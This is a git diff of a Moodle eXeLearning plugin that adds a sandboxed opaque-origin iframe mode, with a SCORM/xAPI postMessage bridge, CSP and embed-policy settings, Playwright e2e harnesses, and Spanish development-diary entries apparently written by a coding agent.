+  priorizó hacerlo tras confirmar que es la única alternativa que cumple los objetivos de
+  aislamiento (el contenido del .elpx NO puede leer ni modificar DOM/cookies/sesión/JS del
+  marco padre). Linchpin verificado: el pipwerks empaquetado (SCORM_API_wrapper.js:71-106)
+  mira window.API de la propia ventana antes de subir a parent, así que inyectar el shim
+  window.API DENTRO del iframe lo descubre sin tocar el padre; y LMSGetValue ya responde de
+  caché local, así que un relevo asíncrono por postMessage basta. Riesgo de compatibilidad
+  cazado: el motor exportado usa localStorage (exe_atools en todo export, exe_export,
+  checklist, edicuatex) y en origen opaco lanza SecurityError -> el shim instala un polyfill
+  en memoria. Decisiones de diseño confirmadas con el usuario (AskUserQuestion): bridge
+  seguro completo, ajuste global default seguro (sin campo por actividad -> sin tocar BD),
+  nombre iframemode (select secure|legacy).
+acciones:
+  - "player_iframe (classes/local/ui/player_iframe.php): nuevo helper que resuelve el modo (fail-safe a secure ante valor inválido) y centraliza los tokens del sandbox por modo, testeable sin renderizar view.php."
+  - "settings.php: admin_setting_configselect mod_exelearning/iframemode (secure|legacy, default secure). lang/en/exelearning.php: iframemode + _desc + _legacy + _secure (orden alfabético estricto, sin código)."
+  - "view.php: rama por modo. secure = relevo inline (js/scorm_bridge_relay.js) con {iframeid,cmid,trackurl,session,nonce,teachermodevisible}, sin window.API en el padre; sandbox via player_iframe::sandbox_tokens(); teacher-mode por bridge (no por contentDocument). legacy = comportamiento actual byte-a-byte."
+  - "js/scorm_tracker.js: nueva opción transport(data,sync) que sustituye al XHR cuando está presente (legacy y los tests siguen con XHR; sin regresión). js/scorm_bridge_shim.js (iframe): detección de origen opaco, polyfill de localStorage/sessionStorage, window.API local vía exeScormTracker, objectid de su propio DOM, handshake + cola pre-nonce, ocultado teacher-mode local. js/scorm_bridge_relay.js (padre): validación por identidad de ventana + acción cerrada + nonce + forma, POST a track.php (sesskey sólo en el padre), sendBeacon en pagehide."
+  - "scorm_injector.php: inyecta el bridge (scorm_tracker.js + exe_scorm_bridge.js) al INICIO de <head> (polyfill+API antes de cualquier script del paquete), idempotente y separado del wrapper pipwerks. package_manager.php: copia scorm_tracker.js + exe_scorm_bridge.js a libs/ del paquete (plugin-owned: refresh en cada extract; los assets pipwerks siguen sin sobrescribir un bundle propio del export)."
+  - "Tests: tests/player_iframe_test.php (@covers player_iframe: default secure, fail-safe, legacy, tokens por modo) y tests/js/scorm_bridge.test.js (24 casos: polyfill, origen opaco, handshake, identidad de fuente/ventana, nonce, forma, cuerpo a track.php, sendBeacon)."
+  - "status.yaml (append): DEC-80-01 + TAREA-017; RIE-001 estado identificado -> mitigado (+DEC-80-01/TAREA-017 en relacionados). ADR research/decisiones/adr/DEC-80-01-... (advances DEC-0-16, no lo supersede)."
+evidencia:
+  - "assets/scorm/SCORM_API_wrapper.js:71-106 (pipwerks find() mira window.API local primero)"
+  - "js/scorm_tracker.js (LMSGetValue de caché local; nueva opción transport en send())"
+  - "rg localStorage/sessionStorage en /Users/ernesto/Downloads/git/exelearning (exe_atools, exe_export.js, checklist.js, edicuatex)"
+  - "public/h5p/js/embed.js:38-46 (core_h5p valida source+context, no origin); mod/scorm/player.php + loadSCO.php (sin sandbox, parent-walk)"
+  - "phpcs --standard=moodle 0/0 sobre los 7 ficheros PHP tocados; php -l limpio"
+  - "Vitest 40/40 (npx vitest run): 16 tracker + 24 bridge"
+pendientes:
+  - "CI/contenedor manda: ejecutar PHPUnit (player_iframe_test + suite completa, sin regresión en scorm_injector/package_manager) y Behat de grading en modo secure (adaptar el escenario @javascript que usa window.API, que ahora vive en el iframe, o apoyarse en el paso server-side 'the following eXeLearning SCORM scores exist')."
+  - "Verificar en Chrome y Firefox reales que el polyfill sustituye el getter nativo de localStorage en origen opaco y que la nota llega al gradebook sin SecurityError; togglear a legacy y confirmar paridad con el comportamiento actual."
+  - "Follow-up opcional (DEC-0-16): M2 Permissions-Policy + M3 CSP de red estricta-con-toggle en exelearning_pluginfile(); M8 sandboxing de JS en cliente (TAREA-013)."
+relacionados:
+  - DEC-80-01
+  - DEC-0-16
+  - DEC-5-01
+  - DEC-13-11
+  - RIE-001
+  - AN-008
+  - TAREA-017
diff --git a/research/tareas/diario/2026-06-13-secure-iframe-tokenpluginfile.yaml b/research/tareas/diario/2026-06-13-secure-iframe-tokenpluginfile.yaml
new file mode 100644
index 0000000..0ea2f94
--- /dev/null
+++ b/research/tareas/diario/2026-06-13-secure-iframe-tokenpluginfile.yaml
@@ -0,0 +1,34 @@
+fecha: 2026-06-13
+sesion: secure-iframe-tokenpluginfile-fix
+agente: claude-code
+resumen: >-
+  Corrección de la Ruta A de DEC-80-01 tras verificar en navegador (Chrome DevTools,
+  Moodle real en :80) que el modo secure NO cargaba los subrecursos del paquete. Causa
+  raíz: un iframe de origen opaco (sandbox sin allow-same-origin) no envía la cookie de
+  sesión SameSite=Lax a sus subrecursos, y pluginfile.php exige login -> CSS/JS/shim 404
+  (el index.html sí carga porque la navegación la inicia el padre). Investigadas y
+  documentadas las vías (token, subdominio/B, sandbox JS/M8); elegida e implementada la
+  Opción A endurecida (DEC-80-02). Verificado end-to-end que track.php guarda la nota.
+acciones:
+  - "Token serving (view.php): en modo secure el iframe se sirve por tokenpluginfile (get_user_key core_files de TTL corto redondeado a la hora, token en la RUTA -> los subrecursos relativos lo arrastran y cargan sin cookie). tokenpluginfile valida el token y exelearning_pluginfile SIGUE aplicando require_capability(mod/exelearning:view) -> solo lectura de ficheros, no sesskey. Precedente: H5P usa includetoken embebido (h5p/classes/player.php:429)."
+  - "CSP + Permissions-Policy (lib.php exelearning_pluginfile + player_iframe::content_security_policy/permissions_policy): solo modo secure, solo el documento HTML (send_stored_file no las borra). object-src none, base-uri none, frame-ancestors self, connect-src acotado a este sitio (corta exfiltración del token por fetch); mantiene unsafe-inline/eval que eXeLearning necesita."
+  - "Sin degradación silenciosa a legacy (petición de erseco): quitado el fallback slasharguments->legacy. Watchdog en el relay (js/scorm_bridge_relay.js): si el iframe no emite ready (slasharguments off, o host con service worker que no sirve iframes opacos como el Playground PHP-WASM) muestra el aviso securemodeblocked y oculta el iframe. view.php renderiza el aviso oculto (lang securemodeblocked) que el watchdog revela."
+  - "Self-heal del bridge (view.php): los paquetes extraídos antes de DEC-80-02 no tienen libs/exe_scorm_bridge.js; se re-extrae una vez (idempotente) para que secure funcione sin re-subir."
+  - "blueprint.json: iframemode se deja en secure (NO se fuerza legacy); el Playground muestra el aviso securemodeblocked en vez de caer a legacy (coherente con 'no caer en legacy por defecto')."
+  - "Tests: player_iframe_test (CSP/Permissions-Policy), scorm_bridge.test.js (watchdog). Vitest 42/42. phpcs --standard=moodle 0/0."
+verificacion_navegador:
+  - "iframe opaco servido por http://localhost/tokenpluginfile.php/<token>/16/mod_exelearning/content/1/index.html; sandbox='allow-scripts allow-popups allow-forms'; lectura de contentWindow desde el padre da SecurityError (origen opaco confirmado)."
+  - "El shim emite {type:scorm,action:ready} al padre (capturado con listener inyectado) -> shim activo en el iframe."
+  - "relay presente (window.exeScormBridge=object); init/acceptTrack/onMessage OK; el relay responde 'config' al 'ready' sin lanzar."
+  - "POST directo a track.php (camino del relay, con sesskey real) -> {ok:true,attempt:1,rawscore:100,status:completed,peritem:{1:100}} -> la nota se guarda."
+  - "Tras purgar cachés (lang string nueva), el contenido renderiza con estilos y el watchdog NO salta (secure funciona)."
+pendientes:
+  - "CI manda: PHPUnit matriz + Behat (idealmente un escenario de grading en secure entrando al frame). El click sintético no entra en el iframe opaco, así que el e2e de scoring por UI se confirma a mano o en Behat."
+  - "Futuro: toggle de admin para CSP estricto (cerrar exfiltración del token por img/script externos) y Ruta B (subdominio eTLD+1 + reverse-proxy) para aislamiento máximo."
+relacionados:
+  - DEC-80-02
+  - DEC-80-01
+  - DEC-0-16
+  - RIE-001
+  - TAREA-018
+  - AN-008
diff --git a/research/tareas/diario/2026-06-19-xapi-secure-bridge.yaml b/research/tareas/diario/2026-06-19-xapi-secure-bridge.yaml
new file mode 100644
index 0000000..e5cefe6
--- /dev/null
+++ b/research/tareas/diario/2026-06-19-xapi-secure-bridge.yaml
@@ -0,0 +1,45 @@
+fecha: 2026-06-19
+sesion: xapi-bridge-seguro-identidad-ventana
+agente: claude-code
+resumen: >-
+  Tras fusionar main (DEC-85-01, ingesta xAPI) en la rama del modo iframe seguro
+  (DEC-80-01/0060), la configuración por defecto pasa a ser secure + xAPI-primary, y ahí el
+  listener xAPI no recibía nada: en el iframe de origen opaco event.origin es la cadena "null"
+  y el listener confiaba sólo por event.origin === host. El merge inicial gateó xAPI a legacy
+  como medida conservadora. Esta sesión implementa la solución definitiva (DEC-80-05): el
+  listener confía un statement por IDENTIDAD DE VENTANA (event.source === contentWindow del
+  iframe del paquete) en modo seguro —el mismo ancla que ya usa el relay del bridge SCORM,
+  imposible de falsificar y no anonimizado por el origen opaco— y conserva la validación por
+  origen en legacy. Para que no haya doble conteo, el POST SCORM se suprime en el PADRE (relay,
+  flag disableTracking), no en el shim horneado, así que es robusto aunque el paquete sea
+  previo al flag. Confirmado el contrato del emisor (research): postMessage síncrono a
+  root.parent, sin Worker/MessageChannel/frame hijo, así que event.source es la ventana real
+  del iframe.
+acciones:
+  - "DEC-80-05 (Aceptada): xAPI sobre el bridge seguro por identidad de ventana; extiende DEC-85-01 al modo seguro de DEC-80-01 (no lo supersede). Registra las tres opciones (gatear a legacy = status quo del merge; aceptar origin 'null' = inseguro; identidad de ventana = elegida), la evidencia del contrato del emisor y del comportamiento del origen opaco, y la propiedad de que la identidad de ventana iguala a legacy en confianza (el contenido se autocalifica y el servidor acota) sin perder el aislamiento de sesión del modo seguro."
+  - "js/xapi_listener.js: añadido el modo identidad de ventana (config.iframeid o config.expectedSource para tests; resolución perezosa de document.getElementById(iframeid).contentWindow por mensaje, porque el listener se inyecta antes de existir el elemento; función isTrusted que ignora event.origin en secure). Conserva isTrustedOrigin para legacy. Superficie de export sin cambios."
+  - "js/scorm_bridge_relay.js: nuevo parámetro disableTracking; en onMessage se valida el track (identidad de ventana + nonce + forma) pero se omite postTrack cuando está activo. latest queda null, así que flushBeacon es no-op. Handshake (ready->config con nonce/teachermode) y watchdog intactos: el iframe sigue renderizando y window.API existe para que los iDevices emitan xAPI."
+  - "view.php: $emitsxapi pierde el gateo !$securemode (xAPI-primary en ambos modos); el relay seguro recibe disableTracking => $emitsxapi; el bloque del listener xAPI se reescribe usando $emitinlinemodule con iframeid (secure) o allowedOrigin (legacy). Comentarios actualizados (incl. corregido el comentario legacy que decía que disableTracking 'sólo es true en legacy')."
+  - "Tests (Vitest): xapi_listener.test.js con un describe nuevo de identidad de ventana (reenvía con origen 'null' si source === iframe; rechaza cualquier otra ventana aunque alegue el host; rechaza sin source; resolución perezosa cuando el elemento aparece después). scorm_bridge.test.js con un test de disableTracking (un track válido no hace fetch, ready sigue handshakeando, el beacon no envía nada). Total 114/114 (antes 109)."
+  - "Docs (inglés): docs/tracking-architecture.md (bloque 'Secure iframe (DEC-80-05)') y docs/xapi-integration-plan.md (puerta de confianza dependiente del modo + nota de SCORM inerte por el relay). Índices research actualizados (adrs.yaml, diario.yaml)."
+evidencia:
+  - "research/decisiones/adr/DEC-80-05-xapi-bridge-seguro-identidad-ventana.md"
+  - "js/xapi_listener.js (isTrusted/expectedSource, modo identidad de ventana)"
+  - "js/scorm_bridge_relay.js (disableTracking suprime postTrack tras validar)"
+  - "js/scorm_bridge_relay.js:27-28 ('an opaque origin has no useful event.origin' — precedente del ancla)"
+  - "view.php (emitsxapi sin gateo; relay disableTracking; listener iframeid/allowedOrigin)"
+  - "tests/js/xapi_listener.test.js + tests/js/scorm_bridge.test.js (114/114)"
+  - "exelearning/exelearning:public/app/common/xapi/exe_xapi.js@e3b1bd13 (postMessage síncrono a root.parent)"
+pendientes:
+  - "Verificación e2e en vivo (Behat/Playwright entrando al frame) en Moodle real: postMessage del emisor desde el iframe opaco -> columna del gradebook. El Playground PHP-WASM no sirve iframes opacos (DEC-80-02), así que el modo seguro no se prueba allí."
+  - "Si un futuro emisor upstream adopta nonce/handshake, endurecer la identidad de ventana a nonce como el bridge SCORM."
+  - "Diferido (eco DEC-85-01): handler core_xapi + eventos para analítica/LRS."
+relacionados:
+  - DEC-80-05
+  - DEC-85-01
+  - DEC-80-01
+  - DEC-80-02
+  - DEC-80-04
+  - DEC-0-18
+  - DEC-0-07
+  - RIE-001
diff --git a/research/tools/build_indexes.py b/research/tools/build_indexes.py
index d438783..db00497 100644
--- a/research/tools/build_indexes.py
+++ b/research/tools/build_indexes.py
@@ -81,11 +81,19 @@ def index_md(dir_: Path, root: Path, sort_key=None) -> list[dict]:
     out = []
     for p in list_md(dir_):
         fm = parse_frontmatter(p.read_text(encoding="utf-8"))
+
+        def field(english: str, spanish: str, default=None):
+            """Los ADRs migraron su frontmatter a claves inglesas; las notas y las
+            fuentes siguen en castellano. Se leen ambas para que un mismo generador
+            sirva a los dos esquemas: sin esto los 71 ADRs se indexaban sin título,
+            estado ni fecha."""
+            return fm.get(english, fm.get(spanish, default))
+
         out.append({
             "id": fm.get("id", p.stem),
-            "titulo": fm.get("titulo", p.stem),
-            "estado": fm.get("estado"),
-            "fecha": fm.get("fecha"),
+            "titulo": field("title", "titulo", p.stem),
+            "estado": field("status", "estado"),
+            "fecha": field("date", "fecha"),
             "ruta": str(p.relative_to(root)),
         })
     if sort_key is not None:
diff --git a/settings.php b/settings.php
index f43acf5..6fe56ea 100644
--- a/settings.php
+++ b/settings.php
@@ -58,6 +58,45 @@
 }
 
 if ($ADMIN->fulltree) {
+    // The package iframe is ALWAYS rendered in a sandboxed, opaque-origin iframe (DEC-80-01):
+    // the historical same-origin 'legacy' mode was removed, so there is no production setting
+    // that re-enables allow-same-origin for untrusted package content.
+
+    // Content CSP profile. 'strict' (default) blocks bare https: exfiltration channels (the
+    // per-user file token lives in the URL); 'compatible' re-opens img/media/script to https:
+    // for content that loads external author images or a MathJax CDN. player_iframe::csp_profile()
+    // applies the same default, so an unset/invalid value always resolves to strict.
+    $settings->add(new admin_setting_configselect(
+        'mod_exelearning/cspprofile',
+        get_string('cspprofile', 'mod_exelearning'),
+        get_string('cspprofile_desc', 'mod_exelearning'),
+        \mod_exelearning\local\ui\player_iframe::CSP_STRICT,
+        [
+            \mod_exelearning\local\ui\player_iframe::CSP_STRICT =>
+                get_string('cspprofile_strict', 'mod_exelearning'),
+            \mod_exelearning\local\ui\player_iframe::CSP_COMPATIBLE =>
+                get_string('cspprofile_compatible', 'mod_exelearning'),
+        ]
+    ));
+
+    // External-embed policy (DEC-80-03). External videos/PDFs are promoted to the parent and
+    // rendered as a sandboxed, cross-origin player, which SOP isolates from Moodle. 'strict'
+    // (default) restricts promotion to the maintained provider allowlist with canonical URL
+    // reconstruction; 'open' is an explicit opt-in that promotes any cross-origin https iframe.
+    // An unset/invalid value fails safe to 'strict' in player_iframe::embed_mode().
+    $settings->add(new admin_setting_configselect(
+        'mod_exelearning/embedmode',
+        get_string('embedmode', 'mod_exelearning'),
+        get_string('embedmode_desc', 'mod_exelearning'),
+        \mod_exelearning\local\ui\player_iframe::EMBED_STRICT,
+        [
+            \mod_exelearning\local\ui\player_iframe::EMBED_STRICT =>
+                get_string('embedmode_strict', 'mod_exelearning'),
+            \mod_exelearning\local\ui\player_iframe::EMBED_OPEN =>
+                get_string('embedmode_open', 'mod_exelearning'),
+        ]
+    ));
+
     // Embedded editor (DEC-108-01): a single site-wide toggle. The editor itself
     // ships inside the release package (DEC-106-01) and has no runtime management;
     // this switch lets a site use the plugin as a pure .elpx player — uploads
diff --git a/tests/e2e/embed.spec.cjs b/tests/e2e/embed.spec.cjs
new file mode 100644
index 0000000..cfceb1b
--- /dev/null
+++ b/tests/e2e/embed.spec.cjs
@@ -0,0 +1,60 @@
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+// Cross-browser e2e for the secure-mode external-embed mechanism (DEC-80-03), run in
+// Firefox via playwright-embed.config.cjs. It loads the REAL shim + relay against a
+// self-contained harness (no Moodle needed): an opaque-origin sandboxed iframe whose
+// content has cross-origin video iframes, a RELATIVE local PDF and an arbitrary
+// cross-origin iframe. In open mode (the default) the shim promotes every cross-origin /
+// PDF iframe to an inline parent overlay; the video players are sandboxed.
+
+const { test, expect } = require('@playwright/test');
+
+test('promotes every cross-origin/PDF iframe to a sandboxed inline player (open mode, Firefox)', async ({ page }) => {
+    await page.goto('/tests/e2e/embed/parent.html');
+
+    const players = page.locator('.exe-embed-overlay iframe');
+    await expect.poll(() => players.count(), { timeout: 15000 }).toBe(5);
+
+    const srcs = await players.evaluateAll((els) => els.map((e) => e.src));
+
+    // Open mode: cross-origin https iframes are promoted VERBATIM (no host list, no rebuild).
+    expect(srcs.some((s) => /^https:\/\/www\.youtube-nocookie\.com\/embed\/aqz-KE-bpKQ\b/.test(s))).toBe(true);
+    expect(srcs.some((s) => /^https:\/\/www\.dailymotion\.com\/embed\/video\/x8abc12$/.test(s))).toBe(true);
+    // Vimeo cross-origin embed is promoted too (DEC-110-01 e2e coverage).
+    expect(srcs.some((s) => /^https:\/\/player\.vimeo\.com\/video\/76979871\b/.test(s))).toBe(true);
+    // An arbitrary cross-origin provider is promoted too (the structural invariant).
+    expect(srcs.some((s) => /^https:\/\/example\.com\//.test(s))).toBe(true);
+    // The relative local PDF is reported absolute and rendered (the relative-URL fix).
+    expect(srcs.some((s) => /\/local\.pdf$/.test(s))).toBe(true);
+
+    // The promoted video players are sandboxed (allow-same-origin to render, but no
+    // top-navigation so an arbitrary embed cannot redirect the tab).
+    const sandboxes = await players.evaluateAll((els) => els.map((e) => e.getAttribute('sandbox') || ''));
+    expect(sandboxes.some((s) => s.includes('allow-same-origin') && !s.includes('allow-top-navigation'))).toBe(true);
+});
+
+test('leaves the author iframes untouched when no relay answers (no-host inertness)', async ({ page }) => {
+    await page.goto('/tests/e2e/embed/parent-nohost.html');
+    const content = page.frameLocator('#content');
+    // The shim re-announces for ~5.5s before giving up; assert the settled state.
+    await page.waitForTimeout(6500);
+    // Every author iframe survives, and no orphan placeholder was left behind.
+    await expect(content.locator('iframe#yt')).toHaveCount(1);
+    await expect(content.locator('iframe#pdf')).toHaveCount(1);
+    await expect(content.locator('[data-exe-embed-id]')).toHaveCount(0);
+    // And nothing was promoted onto this page either.
+    await expect(page.locator('.exe-embed-overlay iframe')).toHaveCount(0);
+});
diff --git a/tests/e2e/embed/content-media.html b/tests/e2e/embed/content-media.html
new file mode 100644
index 0000000..cfd72eb
--- /dev/null
+++ b/tests/e2e/embed/content-media.html
@@ -0,0 +1,28 @@
+<!doctype html>
+<!--
+  E2E harness — the "content" half for the interactive-video media bridge (DEC-110-01).
+  Runs in the opaque sandbox. Loads the eXeLearning child runtime (exe_media_policy.js +
+  exe_media_bridge.js, the exact files an .elpx bakes) and simulates what the
+  interactive-video / quick-questions-video iDevice does in secure mode: ask the trusted
+  parent to open the provider video via window.exeMediaBridge.openMedia(). The parent half
+  (parent-media.html) runs mod's own exe_media_host.js, which controls the player by RAW
+  postMessage (no YouTube IFrame API / Vimeo SDK).
+-->
+<html><head><meta charset="utf-8"></head><body>
+<div id="iv">interactive-video iDevice (simulated)</div>
+<script src="/tests/e2e/embed/exe_media_policy.js"></script>
+<script src="/tests/e2e/embed/exe_media_bridge.js"></script>
+<script>
+  (function () {
+    var b = window.exeMediaBridge;
+    if (b && b.shouldUseBridge && b.shouldUseBridge()) {
+      // Same call the interactive-video iDevice makes (startBridgePlayer -> openMedia).
+      b.openMedia({ provider: 'youtube', videoId: 'aqz-KE-bpKQ' })
+        .then(function () { window.__exeMediaReady = true; })
+        .catch(function () { /* ready-timeout without real YT network is fine: the modal + player are already created on 'open' */ });
+    } else {
+      window.__exeMediaNoBridge = true;
+    }
+  })();
+</script>
+</body></html>
diff --git a/tests/e2e/embed/content.html b/tests/e2e/embed/content.html
new file mode 100644
index 0000000..26218b5
--- /dev/null
+++ b/tests/e2e/embed/content.html
@@ -0,0 +1,15 @@
+<!doctype html>
+<!--
+  E2E harness — the "content" half (runs in the opaque sandbox). Mirrors what an .elpx
+  exports: cross-origin video iframes, a RELATIVE local PDF, and an arbitrary cross-origin
+  iframe (promoted in open mode — there is no host list). Loads the real in-iframe shim
+  (js/exe_embed_shim.js); the parent relay is the authoritative gate (DEC-80-03).
+-->
+<html><head><meta charset="utf-8"></head><body>
+<iframe id="yt" src="https://www.youtube-nocookie.com/embed/aqz-KE-bpKQ" width="480" height="270"></iframe>
+<iframe id="dm" src="https://www.dailymotion.com/embed/video/x8abc12" width="480" height="270"></iframe>
+<iframe id="vim" src="https://player.vimeo.com/video/76979871" width="480" height="270"></iframe>
+<iframe id="pdf" src="local.pdf" width="400" height="300"></iframe>
+<iframe id="ext" src="https://example.com/" width="200" height="120"></iframe>
+<script src="/js/exe_embed_shim.js"></script>
+</body></html>
diff --git a/tests/e2e/embed/exe_media_bridge.js b/tests/e2e/embed/exe_media_bridge.js
new file mode 100644
index 0000000..75d6eda
--- /dev/null
+++ b/tests/e2e/embed/exe_media_bridge.js
@@ -0,0 +1,596 @@
+/**
+ * exe_media_bridge — child-side runtime for external media in opaque-iframe mode.
+ *
+ * Shipped inside every exported eXeLearning package (classic <script>, file:// safe).
+ * When the package is rendered inside an opaque-origin sandboxed iframe (no
+ * `allow-same-origin`), nested YouTube/Vimeo players cannot run, so this runtime:
+ *
+ *   1. Detects the opaque/sandboxed context and handshakes with the trusted parent
+ *      host page (capability token + transferred MessageChannel port).
+ *   2. Replaces nested YouTube/Vimeo embeds with an accessible placeholder that asks
+ *      the parent to open the real player in a trusted modal on click.
+ *   3. Exposes a provider-neutral BridgeController so the interactive video iDevices
+ *      can relay play/pause/seek/time/ended/error and keep their question timing.
+ *   4. Degrades gracefully (visible notice + open-in-new-tab) when no parent answers —
+ *      never a blank iframe.
+ *
+ * Security: never trusts `event.origin` (it is the string "null" here). The only
+ * window-level message accepted is the parent's `welcome`, gated by window identity
+ * (`event.source === window.parent`) + the echoed handshake id. All subsequent media
+ * traffic flows over the private MessageChannel port, validated by exe_media_policy.
+ *
+ * Depends on the global `exeMediaPolicy` (exe_media_policy.js), which must load first.
+ *
+ * Copyright (C) 2026 eXeLearning Team
+ *
+ * Dual-licensed so this ONE file can ship inside eXeLearning (AGPL-3.0-or-later)
+ * and inside the GPL-3.0-or-later host plugins (mod_exelearning) without either
+ * project relicensing it. GPLv3 s13 and AGPLv3 s13 already permit COMBINING the
+ * two, but combining never relicenses a file: only the copyright holder can offer
+ * it under both, which is what this grant does. Keep this notice in every mirror.
+ *
+ * SPDX-License-Identifier: AGPL-3.0-or-later OR GPL-3.0-or-later
+ */
+(function (root) {
+    'use strict';
+
+    var policy = root.exeMediaPolicy;
+
+    var DEFAULT_TIMEOUT_MS = 8000;
+
+    function trc(key, fallback) {
+        // Exported content reads resolved strings from the $exe_i18n bundle (built from
+        // the c_("...") keys in common_i18n.js); fall back to English when absent.
+        var i18n = typeof root.$exe_i18n !== 'undefined' ? root.$exe_i18n : null;
+        return (i18n && i18n[key]) || fallback;
+    }
+
+    function providerName(provider) {
+        if (provider === 'youtube') return 'YouTube';
+        if (provider === 'vimeo') return 'Vimeo';
+        if (provider === 'pdf') return 'PDF';
+        return provider || '';
+    }
+
+    function getScheduler(opts) {
+        opts = opts || {};
+        return {
+            setTimeout: opts.setTimeout || root.setTimeout.bind(root),
+            clearTimeout: opts.clearTimeout || root.clearTimeout.bind(root),
+        };
+    }
+
+    function genId(opts) {
+        if (opts && typeof opts.genId === 'function') return opts.genId();
+        if (root.crypto && typeof root.crypto.randomUUID === 'function') return root.crypto.randomUUID();
+        return 'h-' + Math.random().toString(36).slice(2) + '-' + (root.performance ? root.performance.now() : 0);
+    }
+
+    /**
+     * Detect an opaque-origin sandboxed iframe: either the origin is the literal
+     * string "null", or web storage access throws (the browser blocks storage for an
+     * opaque/partitioned origin). Mirrors the detection used by the SCORM bridge shim.
+     */
+    function isSandboxedOpaque(win) {
+        win = win || root;
+        try {
+            if (win.origin === 'null') return true;
+        } catch (e) {
+            return true;
+        }
+        try {
+            var ls = win.localStorage;
+            var k = '__exeMediaProbe__';
+            ls.setItem(k, '1');
+            ls.removeItem(k);
+            return false;
+        } catch (e) {
+            return true;
+        }
+    }
+
+    function inIframe(win) {
+        win = win || root;
+        try {
+            return win.self !== win.top;
+        } catch (e) {
+            return true; // cross-origin parent access throws → we are framed
+        }
+    }
+
+    function shouldUseBridge(win) {
+        win = win || root;
+        return inIframe(win) && isSandboxedOpaque(win);
+    }
+
+    /**
+     * Provider-neutral controller bound to a MessageChannel port + nonce. Serializes
+     * neutral commands to validated messages and fans inbound events out to listeners.
+     * getCurrentTime/getDuration are async (they round-trip the port).
+     */
+    function createBridgeController(opts) {
+        var port = opts.port;
+        var nonce = opts.nonce;
+        var listeners = {};
+        var pending = {};
+        var reqSeq = 0;
+
+        function emit(evt, payload) {
+            var arr = listeners[evt];
+            if (!arr) return;
+            for (var i = 0; i < arr.length; i++) {
+                try {
+                    arr[i](payload);
+                } catch (e) {
+                    /* a listener must not break the relay */
+                }
+            }
+        }
+
+        function send(cmd) {
+            cmd.type = policy.TYPE;
+            cmd.v = policy.VERSION;
+            cmd.exelearningBridge = nonce;
+            if (policy.validateCommand(cmd, nonce) && port) {
+                port.postMessage(cmd);
+            }
+        }
+
+        function request(action, field) {
+            var reqId = ++reqSeq;
+            return new Promise(function (resolve) {
+                pending[reqId] = { resolve: resolve, field: field };
+                send({ action: action, reqId: reqId });
+            });
+        }
+
+        var ctl = {
+            on: function (evt, cb) {
+                (listeners[evt] = listeners[evt] || []).push(cb);
+                return ctl;
+            },
+            off: function (evt, cb) {
+                var a = listeners[evt];
+                if (a) {
+                    var i = a.indexOf(cb);
+                    if (i >= 0) a.splice(i, 1);
+                }
+                return ctl;
+            },
+            open: function (o) {
+                send({
+                    action: 'open',
+                    reqId: ++reqSeq,
+                    provider: o.provider,
+                    videoId: o.videoId,
+                    start: o.start,
+                    autoplay: o.autoplay,
+                });
+            },
+            play: function () {
+                send({ action: 'play' });
+            },
+            pause: function () {
+                send({ action: 'pause' });
+            },
+            seek: function (t) {
+                send({ action: 'seek', t: t });
+            },
+            hide: function () {
+                send({ action: 'hide' });
+            },
+            show: function () {
+                send({ action: 'show' });
+            },
+            close: function () {
+                send({ action: 'close' });
+            },
+            getCurrentTime: function () {
+                return request('getCurrentTime', 'currentTime');
+            },
+            getDuration: function () {
+                return request('getDuration', 'duration');
+            },
+            handleEvent: function (data) {
+                if (!policy.validateEvent(data)) return;
+                if (data.action === 'state') {
+                    var r = pending[data.reqId];
+                    if (r) {
+                        delete pending[data.reqId];
+                        r.resolve(r.field === 'duration' ? data.duration : data.currentTime);
+                    }
+                    return;
+                }
+                emit(data.action, data);
+            },
+        };
+
+        if (port) {
+            port.onmessage = function (e) {
+                ctl.handleEvent(e.data);
+            };
+            if (typeof port.start === 'function') port.start();
+        }
+        return ctl;
+    }
+
+    // One shared handshake per page: many embeds, one parent bridge.
+    var sessionPromise = null;
+
+    /**
+     * Announce to the parent and wait for a `welcome` carrying a transferred port.
+     * Resolves { nonce, port } on success, or null if no parent answers within the
+     * watchdog (→ graceful degradation). Shared/cached across all callers on the page.
+     */
+    function ensureSession(opts) {
+        opts = opts || {};
+        if (sessionPromise && !opts.fresh) return sessionPromise;
+        var win = opts.win || root;
+        var sched = getScheduler(opts);
+
+        sessionPromise = new Promise(function (resolve) {
+            var parent = null;
+            try {
+                parent = win.parent;
+            } catch (e) {
+                parent = null;
+            }
+            if (!parent || parent === win) {
+                resolve(null);
+                return;
+            }
+
+            var helloId = genId(opts);
+            var settled = false;
+            var timer;
+
+            function cleanup() {
+                if (win.removeEventListener) win.removeEventListener('message', onMessage);
+                if (timer) sched.clearTimeout(timer);
+            }
+            function finish(value) {
+                if (settled) return;
+                settled = true;
+                cleanup();
+                resolve(value);
+            }
+            function onMessage(e) {
+                if (settled) return;
+                if (e.source !== parent) return; // window identity — the only trust anchor here
+                var data = e.data;
+                if (!policy.isWelcome(data) || data.helloId !== helloId) return;
+                var port = (e.ports && e.ports[0]) || null;
+                if (!port) return;
+                finish({ nonce: data.exelearningBridge, port: port });
+            }
+
+            if (win.addEventListener) win.addEventListener('message', onMessage);
+            try {
+                parent.postMessage(
+                    { type: policy.TYPE, v: policy.VERSION, action: 'hello', helloId: helloId, exelearningBridge: null },
+                    '*',
+                );
+            } catch (e) {
+                /* posting to an unreachable parent → watchdog handles it */
+            }
+            timer = sched.setTimeout(function () {
+                finish(null);
+            }, opts.timeoutMs || DEFAULT_TIMEOUT_MS);
+        });
+        return sessionPromise;
+    }
+
+    /**
+     * High-level entry for the video iDevices: ensure the bridge, ask the parent to
+     * open the player, and resolve a BridgeController once the player reports `ready`.
+     * Rejects when there is no parent bridge (→ caller shows its fallback).
+     */
+    function openMedia(opts) {
+        opts = opts || {};
+        var sched = getScheduler(opts);
+        return ensureSession(opts).then(function (session) {
+            if (!session) {
+                return Promise.reject(new Error('no-bridge'));
+            }
+            var ctl = createBridgeController({ port: session.port, nonce: session.nonce });
+            return new Promise(function (resolve, reject) {
+                var done = false;
+                var timer = sched.setTimeout(function () {
+                    if (!done) {
+                        done = true;
+                        reject(new Error('ready-timeout'));
